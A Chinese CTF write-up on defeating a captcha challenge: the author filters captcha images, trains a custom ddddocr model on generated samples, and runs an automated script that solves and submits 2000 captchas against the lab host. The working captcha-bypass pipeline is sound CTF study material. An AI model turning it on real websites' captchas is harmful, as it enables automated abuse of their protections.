注:本文中所有代码均是问AI实现(因为我是一点不会写💀)
题目:2000个验证码,正确率95%即可通过

去搜了一下常见的本地ocr平台,尝试搭建ddddocr

尝试了一下直接使用自带的模型发现效果非常不理想

所以先尝试对图片进行处理(滤波)(这里我要提一位老师了–赖志辉老师,他上个学期给我们分配任务去做pre,我负责的就是滤波器,这才知道世界上有滤波器这种东西,才能把这道题做出来)

先创一个虚拟环境吧,这边用的是python3.9(版本太高貌似不行)

1
2
3
"C:\Users\xiaoy\AppData\Local\Programs\Python\Python39\python.exe" -m venv venv_py39

venv_py39\Scripts\activate

先去掉蓝色混淆线条,并灰度处理

去除蓝色混淆线条
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from PIL import Image
import numpy as np
import colorsys

def rgb_to_hsv(rgb):
return colorsys.rgb_to_hsv(rgb[0]/255.0, rgb[1]/255.0, rgb[2]/255.0)

def remove_specific_rgba(img, target_rgba):
"""删除特定RGBA颜色的像素(设置为透明)"""
img = img.convert("RGBA")
data = np.array(img)
r, g, b, a = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3]
mask = (r == target_rgba[0]) & (g == target_rgba[1]) & (b == target_rgba[2]) & (a == target_rgba[3])
data[mask] = [0, 0, 0, 0] # 设置为完全透明
return Image.fromarray(data)

# 参数设置
target_blue = (64, 56, 247)
hue_range = (0.58, 0.72)
sat_threshold = 0.3
val_threshold = 0.5
remove_color = (254, 224, 222, 255) # 新增要删除的RGBA颜色

# 读取图片
img = Image.open(r"F:\ctf\ocr proj\ddddocr-full\generate_captcha.png").convert("RGB")
pixels = np.array(img)

# 原始颜色过滤流程
hsv_pixels = np.array([[[colorsys.rgb_to_hsv(p[0]/255., p[1]/255., p[2]/255.)] for p in row] for row in pixels])
hsv_pixels = np.squeeze(hsv_pixels)

h_mask = (hsv_pixels[:,:,0] >= hue_range[0]) & (hsv_pixels[:,:,0] <= hue_range[1])
s_mask = hsv_pixels[:,:,1] >= sat_threshold
v_mask = hsv_pixels[:,:,2] >= val_threshold
combined_mask = h_mask & s_mask & v_mask

pixels[combined_mask] = [255, 255, 255]
color_img = Image.fromarray(pixels)

# 新增RGBA删除模块
color_img = remove_specific_rgba(color_img, remove_color)

# 保存彩色结果(带透明通道)
color_img.save("filtered_image_hsv.png")
print("改进后的过滤完成,彩色结果已保存为 filtered_image_hsv.png")

# 转换为灰度(自动忽略透明像素)
gray_img = color_img.convert('L')
gray_img.save("filtered_image_gray.png")
print("灰度结果已保存为 filtered_image_gray.png")

原图:

效果如下:

清晰多了,这时候去识别还是不理想,就又加了个锐化滤波器
效果如下:

还是识别错误

于是我尝试使用最后的方法
生成训练集,本地训练,用本地训练的模型来识别
用到了ddddocr_train

安装cuda和pytorch这里不再赘述(反正我是第一次安装并用显卡训练,过程可以说是一波三折,有好多报错,不过好在有AI帮我把问题都解决了)

ddddocr_train的github有详细使用方法

这道题目给了php源码,所以先生成几万张标注好的验证码

用AI修改题目中的源码,用户每次触发生成多张验证码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
// 设置保存路径
$savePath = 'D:/phpstudy_pro/WWW/IMAGE/captcha';

// 创建目录(如果不存在)
if (!is_dir($savePath)) {
mkdir($savePath, 0755, true);
}

// 生成100张验证码
for ($i = 0; $i < 100; $i++) {
generateCaptcha($savePath);
}

function generateCaptcha($savePath) {
// 创建图像资源
$image = imagecreate(100, 50);

// 生成随机颜色
$background_color = imagecolorallocate($image, rand(220, 255), rand(220, 255), rand(220, 255));
$text_color1 = imagecolorallocate($image, rand(0, 100), rand(0, 100), rand(0, 100));
$text_color2 = imagecolorallocate($image, rand(0, 100), rand(0, 100), rand(0, 100));
$line_color = imagecolorallocate($image, 0, 0, 255);

// 填充背景
imagefill($image, 0, 0, $background_color);

// 生成随机验证码
$chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$code = substr(str_shuffle($chars), 0, 4);

// 绘制验证码文本
$font_size = 5;
for ($i = 0; $i < strlen($code); $i++) {
$color = ($i % 2 == 0) ? $text_color1 : $text_color2;
$x = 10 + ($i * 15) + mt_rand(-5, 5);
$y = mt_rand(10, 30);
imagestring($image, $font_size, $x, $y, $code[$i], $color);
}

// 添加干扰线
for ($i = 0; $i < 5; $i++) {
imageline($image,
mt_rand(0, 100),
mt_rand(0, 50),
mt_rand(0, 100),
mt_rand(0, 50),
$line_color
);
}

// 生成唯一文件名(验证码内容+微秒时间戳)
$timestamp = str_replace('.', '_', microtime(true));
$filename = "{$code}_{$timestamp}.png";
$filePath = $savePath . '/' . $filename;

// 保存图像
imagepng($image, $filePath);
imagedestroy($image);
}

echo "已生成100张验证码到目录:{$savePath}";
?>

这里用时间戳不对,训练不出来,后来又用python脚本把标注好的后面的时间戳全部换成ddddocr要求的32位随机hex值

批量重命名成规范格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import shutil
import secrets

def rename_and_copy_images():
# 定义源目录和目标目录
source_dir = r'D:\phpstudy_pro\WWW\IMAGE\captcha_sharped'
dest_dir = r'D:\phpstudy_pro\WWW\IMAGE\newcaptcha'

# 支持的图片扩展名列表
image_extensions = ('.png', '.jpg', '.jpeg', '.gif', '.bmp')

# 创建目标目录(如果不存在)
os.makedirs(dest_dir, exist_ok=True)

# 遍历源目录中的所有文件
for filename in os.listdir(source_dir):
# 检查是否为图片文件
if filename.lower().endswith(image_extensions):
# 分离文件名和扩展名
name_part, ext = os.path.splitext(filename)

# 跳过不足5个字符的文件名
if len(name_part) < 5:
print(f"警告:跳过文件 '{filename}',文件名长度不足5个字符")
continue

# 构建新文件名
prefix = name_part[:5]
random_hex = secrets.token_hex(16) # 生成32位随机hex
new_filename = f"{prefix}{random_hex}{ext}"

# 构建完整文件路径
src_path = os.path.join(source_dir, filename)
dst_path = os.path.join(dest_dir, new_filename)

# 复制文件到目标目录
shutil.copy2(src_path, dst_path)
print(f"已处理:{filename} -> {new_filename}")


if __name__ == "__main__":
rename_and_copy_images()
print("所有图片处理完成!")

接着就是两个批量滤波(把原来的单张图片滤波代码丢进AI,给出原始图片路径和目标文件夹,让AI生成,如果有报错就把错误信息投喂给AI,根据AI生成的解决方案逐步排查)

去除混淆蓝色线条
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from PIL import Image
import numpy as np
import colorsys
import os
import glob

def rgb_to_hsv(rgb):
return colorsys.rgb_to_hsv(rgb[0]/255.0, rgb[1]/255.0, rgb[2]/255.0)

def remove_specific_rgba(img, target_rgba):
"""删除特定RGBA颜色的像素(设置为透明)"""
img = img.convert("RGBA")
data = np.array(img)
r, g, b, a = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3]
mask = (r == target_rgba[0]) & (g == target_rgba[1]) & (b == target_rgba[2]) & (a == target_rgba[3])
data[mask] = [0, 0, 0, 0]
return Image.fromarray(data)

# 参数设置
target_blue = (64, 56, 247)
hue_range = (0.58, 0.72)
sat_threshold = 0.3
val_threshold = 0.5
remove_color = (254, 224, 222, 255)

# 路径设置
input_dir = r'D:\phpstudy_pro\WWW\IMAGE\captcha'
output_dir = r'D:\phpstudy_pro\WWW\IMAGE\captcha_filtered'

# 创建输出目录
os.makedirs(output_dir, exist_ok=True)

# 处理所有图片
for img_path in glob.glob(os.path.join(input_dir, '*')):
try:
# 读取图片
img = Image.open(img_path).convert("RGB")
pixels = np.array(img)

# 颜色过滤
hsv_pixels = np.array([[[colorsys.rgb_to_hsv(p[0]/255., p[1]/255., p[2]/255.)] for p in row] for row in pixels])
hsv_pixels = np.squeeze(hsv_pixels)

h_mask = (hsv_pixels[:,:,0] >= hue_range[0]) & (hsv_pixels[:,:,0] <= hue_range[1])
s_mask = hsv_pixels[:,:,1] >= sat_threshold
v_mask = hsv_pixels[:,:,2] >= val_threshold
combined_mask = h_mask & s_mask & v_mask

pixels[combined_mask] = [255, 255, 255]
color_img = Image.fromarray(pixels)

# RGBA删除
color_img = remove_specific_rgba(color_img, remove_color)

# 转换为灰度
gray_img = color_img.convert('L')

# 保存结果
output_path = os.path.join(output_dir, os.path.basename(img_path))
gray_img.save(output_path)
print(f"处理完成: {os.path.basename(img_path)}")

except Exception as e:
print(f"处理失败: {os.path.basename(img_path)} - {str(e)}")


锐化处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from PIL import Image
import numpy as np
import os
import glob

# 路径配置
input_dir = r'D:\phpstudy_pro\WWW\IMAGE\captcha_filtered'
output_dir = r'D:\phpstudy_pro\WWW\IMAGE\captcha_sharped'

# 锐化卷积核(拉普拉斯增强)
sharpen_kernel = np.array([
[ 0, -1, 0],
[-1, 5, -1],
[ 0, -1, 0]
], dtype=np.float32)

def sharpen_image(img_array):
"""执行卷积锐化操作,忽略边缘像素"""
filtered = np.zeros_like(img_array)
for i in range(1, img_array.shape[0]-1):
for j in range(1, img_array.shape[1]-1):
filtered[i, j] = np.sum(img_array[i-1:i+2, j-1:j+2] * sharpen_kernel)
return np.clip(filtered, 0, 255).astype(np.uint8)

# 创建输出目录
os.makedirs(output_dir, exist_ok=True)

# 批量处理
for img_path in glob.glob(os.path.join(input_dir, '*')):
try:
# 读取文件
img = Image.open(img_path).convert('L')

# 执行锐化
sharpened_array = sharpen_image(np.array(img, dtype=np.float32))

# 保存结果
output_path = os.path.join(output_dir, os.path.basename(img_path))
Image.fromarray(sharpened_array).save(output_path)
print(f"锐化成功: {os.path.basename(img_path)}")

except Exception as e:
print(f"处理失败: {os.path.basename(img_path)} - {str(e)}")


最后拿到3万多张标注好的验证码

拿去训练
在ddddocr_train目录下新建虚拟环境,然后

训练
1
2
3
python app.py create test
python app.py cache test D:\phpstudy_pro\WWW\IMAGE\newcaptcha
python app.py train test

让显卡去训练即可
这个训练程序默认97%准确率会停止并导出onnx模型,然后把原来的识别脚本加上导入这个onnx模型即可

每1000step会进行acc检测,如图,第一次是0
刚开始训练比较慢,后面会变快

在第7000step第一次出现acc不为0,耐心等待即可

.

用4060算的,跟大模型比起来,这个显存占用率非常低
第8000step直接0.71875

10000step到了0.9375
第14000首次到了1.0,之后在0.96到1.0之间浮动

让AI分析一下日志

看AI解读的控制台这些数据都是什么意思就行了,下面还给了优化的代码,我不想改代码
训练到大约23000step,得到正确率超过97%的模型

训练数据在 F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models
找到onnx模型和charsets.json
先测试一下单张图片的识别情况

测试此onnx模型能否正常使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import ddddocr
import numpy as np # 添加这行导入语句

ocr = ddddocr.DdddOcr(det=False, ocr=False, import_onnx_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\test_1.0_21_23000_2025-03-27-11-22-33.onnx", charsets_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\charsets.json")

# 设置字符范围为大小写英文+数字(对应参数6)
ocr.set_ranges(6)

# 读取图片(注意Windows路径需要转义)
image_path = r"F:\ctf\ocr proj\ddddocr-full\sharpened_image.png"
with open(image_path, "rb") as f:
img_bytes = f.read()

# 进行识别并获取概率结果
result = ocr.classification(img_bytes, probability=True)

# 拼接识别结果
s = "".join([result['charsets'][np.argmax(char_probs)] for char_probs in result['probability']])

print("", s)

遇到了点问题

让AI改一下代码

拿到修改后的代码

识别
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import ddddocr
import numpy as np

ocr = ddddocr.DdddOcr(
det=False,
ocr=False,
import_onnx_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\test_1.0_21_23000_2025-03-27-11-22-33.onnx",
charsets_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\charsets.json"
)

ocr.set_ranges(6)

image_path = r"F:\ctf\ocr proj\ddddocr-full\sharpened_image.png"
with open(image_path, "rb") as f:
img_bytes = f.read()

# 直接获取识别结果(推荐)
result = ocr.classification(img_bytes)
print("识别结果:", result)

# 若确实需要处理概率输出(需要确认数据结构)
# 先检查数据结构
result_with_probs = ocr.classification(img_bytes, probability=True)
print("数据结构:", type(result_with_probs))
print("包含的键:", result_with_probs.keys())
print("probability类型:", type(result_with_probs['probability']))
print("charsets类型:", type(result_with_probs['charsets']))

识别成功
让AI把前面的两个滤波+ocr+验证脚本合在一起

攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import requests
import ddddocr
import numpy as np
from PIL import Image
import colorsys
from io import BytesIO
import os # 添加路径验证

def process_image(img_content):
def rgb_to_hsv(rgb):
return colorsys.rgb_to_hsv(rgb[0]/255.0, rgb[1]/255.0, rgb[2]/255.0)

def remove_specific_rgba(img, target_rgba):
img = img.convert("RGBA")
data = np.array(img)
r, g, b, a = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3]
mask = (r == target_rgba[0]) & (g == target_rgba[1]) & (b == target_rgba[2]) & (a == target_rgba[3])
data[mask] = [0, 0, 0, 0]
return Image.fromarray(data)

# 参数设置
target_blue = (64, 56, 247)
hue_range = (0.58, 0.72)
sat_threshold = 0.3
val_threshold = 0.5
remove_color = (254, 224, 222, 255)

# 从字节流读取图片
img = Image.open(BytesIO(img_content)).convert("RGB")
pixels = np.array(img)

# HSV过滤
hsv_pixels = np.array([[[colorsys.rgb_to_hsv(p[0]/255., p[1]/255., p[2]/255.)] for p in row] for row in pixels]).squeeze()
combined_mask = (hsv_pixels[:,:,0] >= hue_range[0]) & (hsv_pixels[:,:,0] <= hue_range[1]) & \
(hsv_pixels[:,:,1] >= sat_threshold) & (hsv_pixels[:,:,2] >= val_threshold)
pixels[combined_mask] = [255, 255, 255]
color_img = remove_specific_rgba(Image.fromarray(pixels), remove_color)

# 转换为灰度
gray_img = color_img.convert('L')

# 第二阶段:锐化处理
sharpen_kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]], dtype=np.float32)
img_array = np.array(gray_img, dtype=np.float32)
filtered = np.zeros_like(img_array)

for i in range(1, img_array.shape[0]-1):
for j in range(1, img_array.shape[1]-1):
filtered[i, j] = np.sum(img_array[i-1:i+2, j-1:j+2] * sharpen_kernel)

sharpened = np.clip(filtered, 0, 255).astype(np.uint8)

# 第三阶段:OCR识别(关键修改部分)
try:
# 路径验证(调试用)
print("模型存在:", os.path.exists(r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\test_1.0_21_23000_2025-03-27-11-22-33.onnx"))
print("字符集存在:", os.path.exists(r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\charsets.json"))

# 初始化OCR引擎
ocr = ddddocr.DdddOcr(
det=False,
ocr=False,
import_onnx_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\test_1.0_21_23000_2025-03-27-11-22-33.onnx",
charsets_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\charsets.json"
)
ocr.set_ranges(6) # 设置字符范围

img_buffer = BytesIO()
Image.fromarray(sharpened).save(img_buffer, format='PNG')
img_bytes = img_buffer.getvalue()

# 直接获取识别结果
result_text = ocr.classification(img_bytes)
return result_text.replace(" ", "").strip()

except Exception as e:
print(f"OCR引擎异常: {str(e)}")
return "ERROR"

# 自动化循环部分
with requests.Session() as s:
base_url = "http://c15f4704-4db8-4b6f-8e09-f80cd4c22d1b.ctf.szu.moe/"

for i in range(1, 2001):
try:
# 获取验证码
captcha_resp = s.get(f"{base_url}/generate_captcha.php")
if captcha_resp.status_code != 200:
print(f"第{i}次: 获取验证码失败")
continue

# 处理识别
captcha_text = process_image(captcha_resp.content)
print(f"第{i}次识别结果: {captcha_text}")

# 提交验证
post_resp = s.post(
f"{base_url}/verify.php",
data={"captcha_input": captcha_text}
)

print(f"第{i}次响应: {post_resp.text.strip()}")

except Exception as e:
print(f"第{i}次发生异常: {str(e)}")
continue

print("所有循环完成")

直接打即可

拿到flag